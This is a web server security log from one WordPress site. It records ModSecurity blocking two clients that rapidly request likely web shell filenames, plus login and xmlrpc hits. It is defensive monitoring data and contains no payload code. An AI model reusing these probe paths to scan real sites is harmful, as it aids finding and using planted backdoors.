[Sun Apr 12 08:29:52.597150 2026] [:error] [pid 25437:tid 25457] [client 4.232.184.116:11250] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "adrngHf97wYZje1ep_OAmwAAANI"]
[Sun Apr 12 08:29:53.071345 2026] [:error] [pid 60280:tid 60289] [client 4.232.184.116:11170] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "adrngXBlLnDOYuIykkgkSAAAAcc"]
[Sun Apr 12 08:29:53.647129 2026] [:error] [pid 25328:tid 25375] [client 4.232.184.116:11187] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "adrngcxUaQZxT-e0YsAlAQAAAEk"]
[Sun Apr 12 08:29:54.244961 2026] [:error] [pid 60280:tid 60295] [client 4.232.184.116:11098] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "adrngnBlLnDOYuIykkgkSgAAAc0"]
[Sun Apr 12 08:29:55.135219 2026] [:error] [pid 25328:tid 25367] [client 4.232.184.116:11064] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "adrng8xUaQZxT-e0YsAlBwAAAEM"]
[Sun Apr 12 08:29:55.931310 2026] [:error] [pid 60280:tid 60292] [client 4.232.184.116:11113] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "adrng3BlLnDOYuIykkgkUAAAAco"]
[Sun Apr 12 08:29:56.807798 2026] [:error] [pid 25437:tid 25444] [client 4.232.184.116:11122] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "adrnhHf97wYZje1ep_OAoAAAAMU"]
[Sun Apr 12 08:29:57.804130 2026] [:error] [pid 25437:tid 25454] [client 4.232.184.116:11087] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "adrnhXf97wYZje1ep_OAogAAAM8"]
[Sun Apr 12 08:29:59.417718 2026] [:error] [pid 25437:tid 25456] [client 4.232.184.116:11174] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "adrnh3f97wYZje1ep_OApQAAANE"]
[Sun Apr 12 08:30:01.725552 2026] [:error] [pid 25437:tid 25448] [client 4.232.184.116:11038] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "adrniXf97wYZje1ep_OAqQAAAMk"]
[Sun Apr 12 08:30:04.971281 2026] [:error] [pid 60280:tid 60292] [client 4.232.184.116:11165] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "adrnjHBlLnDOYuIykkgkXQAAAco"]
[Sun Apr 12 08:30:07.504862 2026] [:error] [pid 25328:tid 25364] [client 4.232.184.116:10975] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "adrnj8xUaQZxT-e0YsAlOgAAAEA"]
[Sun Apr 12 08:30:09.186467 2026] [:error] [pid 26567:tid 26591] [client 4.232.184.116:11198] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "adrnkXhRpg6ptWFyFx0v0AAAARY"]
[Sun Apr 12 08:30:10.024466 2026] [:error] [pid 60280:tid 60304] [client 4.232.184.116:11172] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "adrnknBlLnDOYuIykkgkbwAAAdY"]
[Sun Apr 12 08:30:10.613525 2026] [:error] [pid 60280:tid 60295] [client 4.232.184.116:11005] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "adrnknBlLnDOYuIykkgkdAAAAc0"]
[Sun Apr 12 08:30:11.131973 2026] [:error] [pid 60280:tid 60291] [client 4.232.184.116:11213] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adrnk3BlLnDOYuIykkgkeQAAAck"]
[Sun Apr 12 08:30:11.791190 2026] [:error] [pid 25328:tid 25408] [client 4.232.184.116:11175] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adrnk8xUaQZxT-e0YsAlSQAAAFg"]
[Sun Apr 12 08:30:12.494883 2026] [:error] [pid 25437:tid 25452] [client 4.232.184.116:10924] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adrnlHf97wYZje1ep_OAtQAAAM0"]
[Sun Apr 12 08:30:13.137614 2026] [:error] [pid 25328:tid 25365] [client 4.232.184.116:11094] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adrnlcxUaQZxT-e0YsAlUAAAAEE"]
[Sun Apr 12 11:20:59.835128 2026] [:error] [pid 60280:tid 60293] [client 160.202.39.195:55305] [client 160.202.39.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.202.39.195, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adsPm3BlLnDOYuIykkiFVAAAAcs"], referer: https://vetstars.com.au/
[Sun Apr 12 11:50:04.856487 2026] [:error] [pid 25437:tid 25455] [client 20.220.11.224:26512] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/chosen.php"] [unique_id "adsWbHf97wYZje1ep_PAZAAAANA"]
[Sun Apr 12 11:50:10.150203 2026] [:error] [pid 26600:tid 26631] [client 20.220.11.224:26600] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/chosen.php"] [unique_id "adsWcu1YwAZiXhQKLYrS2wAAAYI"]
[Sun Apr 12 11:50:15.938676 2026] [:error] [pid 25327:tid 25345] [client 20.220.11.224:26598] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/chosen.php"] [unique_id "adsWdy6h2tZEVJo9JFKPZQAAAAk"]
[Sun Apr 12 11:50:24.972441 2026] [:error] [pid 25327:tid 25350] [client 20.220.11.224:26499] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php/wp-includes/admin.php"] [unique_id "adsWgC6h2tZEVJo9JFKPdgAAAA4"]
[Sun Apr 12 11:50:28.475041 2026] [:error] [pid 26567:tid 26583] [client 20.220.11.224:26525] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php/wp-includes/admin.php"] [unique_id "adsWhHhRpg6ptWFyFx1ZpAAAAQ4"]
[Sun Apr 12 11:50:33.070196 2026] [:error] [pid 26567:tid 26573] [client 20.220.11.224:26569] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php/wp-includes/admin.php"] [unique_id "adsWiXhRpg6ptWFyFx1ZqAAAAQQ"]
[Sun Apr 12 11:50:39.400953 2026] [:error] [pid 26567:tid 26592] [client 20.220.11.224:26614] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bootstrap.php"] [unique_id "adsWj3hRpg6ptWFyFx1ZrQAAARc"]
[Sun Apr 12 11:50:42.253255 2026] [:error] [pid 60280:tid 60295] [client 20.220.11.224:26560] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bootstrap.php"] [unique_id "adsWknBlLnDOYuIykkiWIwAAAc0"]
[Sun Apr 12 11:50:47.044628 2026] [:error] [pid 60280:tid 60289] [client 20.220.11.224:26605] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bootstrap.php"] [unique_id "adsWl3BlLnDOYuIykkiWKwAAAcc"]
[Sun Apr 12 11:50:52.122073 2026] [:error] [pid 26599:tid 26616] [client 20.220.11.224:26519] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config-backup.php"] [unique_id "adsWnHG89LXoQbk_rwCT4QAAAU4"]
[Sun Apr 12 11:50:57.949186 2026] [:error] [pid 60280:tid 60294] [client 20.220.11.224:26604] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config-backup.php"] [unique_id "adsWoXBlLnDOYuIykkiWTgAAAcw"]
[Sun Apr 12 11:52:16.586145 2026] [:error] [pid 26567:tid 26571] [client 20.220.11.224:26577] [client 20.220.11.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.220.11.224, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "adsW8HhRpg6ptWFyFx1Z_AAAAQI"]
[Sun Apr 12 11:52:37.301955 2026] [proxy_fcgi:error] [pid 60280:tid 60288] [client 20.220.11.224:26568] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Undefined constant "ABSPATH" in /home/vetstars/public_html/wp-settings.php:34\nStack trace:\n#0 {main}\n  thrown in /home/vetstars/public_html/wp-settings.php on line 34'
[Sun Apr 12 11:53:19.751284 2026] [:error] [pid 60280:tid 60296] [client 20.220.11.224:26580] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "adsXL3BlLnDOYuIykkiX5QAAAc4"]
[Sun Apr 12 11:53:26.537765 2026] [:error] [pid 25328:tid 25369] [client 20.220.11.224:26618] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "adsXNsxUaQZxT-e0YsB5lwAAAEU"]
[Sun Apr 12 11:53:42.246629 2026] [:error] [pid 60280:tid 60299] [client 20.220.11.224:26578] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/if.php"] [unique_id "adsXRnBlLnDOYuIykkiX_AAAAdE"]
[Sun Apr 12 11:53:43.819509 2026] [:error] [pid 25328:tid 25369] [client 20.220.11.224:26505] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/if.php"] [unique_id "adsXR8xUaQZxT-e0YsB5ogAAAEU"]
[Sun Apr 12 11:53:50.843904 2026] [:error] [pid 25437:tid 25454] [client 20.220.11.224:26602] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/if.php"] [unique_id "adsXTnf97wYZje1ep_PBegAAAM8"]
[Sun Apr 12 11:53:52.542127 2026] [:error] [pid 26599:tid 26602] [client 20.220.11.224:26579] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kk.php"] [unique_id "adsXUHG89LXoQbk_rwCULAAAAUA"]
[Sun Apr 12 11:53:55.223208 2026] [:error] [pid 25437:tid 25443] [client 20.220.11.224:26591] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kk.php"] [unique_id "adsXU3f97wYZje1ep_PBhAAAAMQ"]
[Sun Apr 12 11:53:57.042512 2026] [:error] [pid 60280:tid 60296] [client 20.220.11.224:26576] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kk.php"] [unique_id "adsXVXBlLnDOYuIykkiYFgAAAc4"]
[Sun Apr 12 11:54:00.300059 2026] [:error] [pid 25328:tid 25367] [client 20.220.11.224:26612] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kk.php"] [unique_id "adsXWMxUaQZxT-e0YsB5uQAAAEM"]
[Sun Apr 12 11:54:06.254663 2026] [:error] [pid 26600:tid 26635] [client 20.220.11.224:26497] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mrjn.php"] [unique_id "adsXXu1YwAZiXhQKLYrTuQAAAYY"]
[Sun Apr 12 11:54:11.534451 2026] [:error] [pid 26600:tid 26648] [client 20.220.11.224:26512] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mrjn.php"] [unique_id "adsXY-1YwAZiXhQKLYrTvgAAAZM"]
[Sun Apr 12 11:57:02.955922 2026] [:error] [pid 26599:tid 26608] [client 20.220.11.224:26614] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rahma.php"] [unique_id "adsYDnG89LXoQbk_rwCUtQAAAUY"]
[Sun Apr 12 11:57:05.559748 2026] [:error] [pid 60280:tid 60299] [client 20.220.11.224:26587] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rahma.php"] [unique_id "adsYEXBlLnDOYuIykkiZ0wAAAdE"]
[Sun Apr 12 11:57:08.114889 2026] [:error] [pid 25327:tid 25341] [client 20.220.11.224:26604] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rahma.php"] [unique_id "adsYFC6h2tZEVJo9JFKQ0gAAAAU"]
[Sun Apr 12 11:57:17.519146 2026] [:error] [pid 60280:tid 60297] [client 20.220.11.224:26613] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rahma.php"] [unique_id "adsYHXBlLnDOYuIykkiaQAAAAc8"]
[Sun Apr 12 11:57:19.523475 2026] [:error] [pid 26600:tid 26637] [client 20.220.11.224:26436] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nasgor.php"] [unique_id "adsYH-1YwAZiXhQKLYrUeQAAAYg"]
[Sun Apr 12 11:57:21.238904 2026] [:error] [pid 25328:tid 25408] [client 20.220.11.224:26596] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nasgor.php"] [unique_id "adsYIcxUaQZxT-e0YsB7bgAAAFg"]
[Sun Apr 12 11:57:22.590212 2026] [:error] [pid 25437:tid 25442] [client 20.220.11.224:26601] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nasgor.php"] [unique_id "adsYInf97wYZje1ep_PCoAAAAMM"]
[Sun Apr 12 11:57:24.076543 2026] [:error] [pid 25327:tid 25340] [client 20.220.11.224:26507] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nasgor.php"] [unique_id "adsYJC6h2tZEVJo9JFKQ6gAAAAQ"]
[Sun Apr 12 11:57:25.476097 2026] [:error] [pid 26600:tid 26629] [client 20.220.11.224:26605] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-confirm.php"] [unique_id "adsYJe1YwAZiXhQKLYrUfQAAAYA"]
[Sun Apr 12 11:57:28.503215 2026] [:error] [pid 25328:tid 25394] [client 20.220.11.224:26502] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-confirm.php"] [unique_id "adsYKMxUaQZxT-e0YsB7ggAAAFI"]
[Sun Apr 12 11:57:32.652132 2026] [:error] [pid 60280:tid 60284] [client 20.220.11.224:26508] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-confirm.php"] [unique_id "adsYLHBlLnDOYuIykkiaUwAAAcI"]
[Sun Apr 12 11:57:35.542577 2026] [:error] [pid 26567:tid 26590] [client 20.220.11.224:26496] [client 20.220.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-confirm.php"] [unique_id "adsYL3hRpg6ptWFyFx1a7QAAARU"]
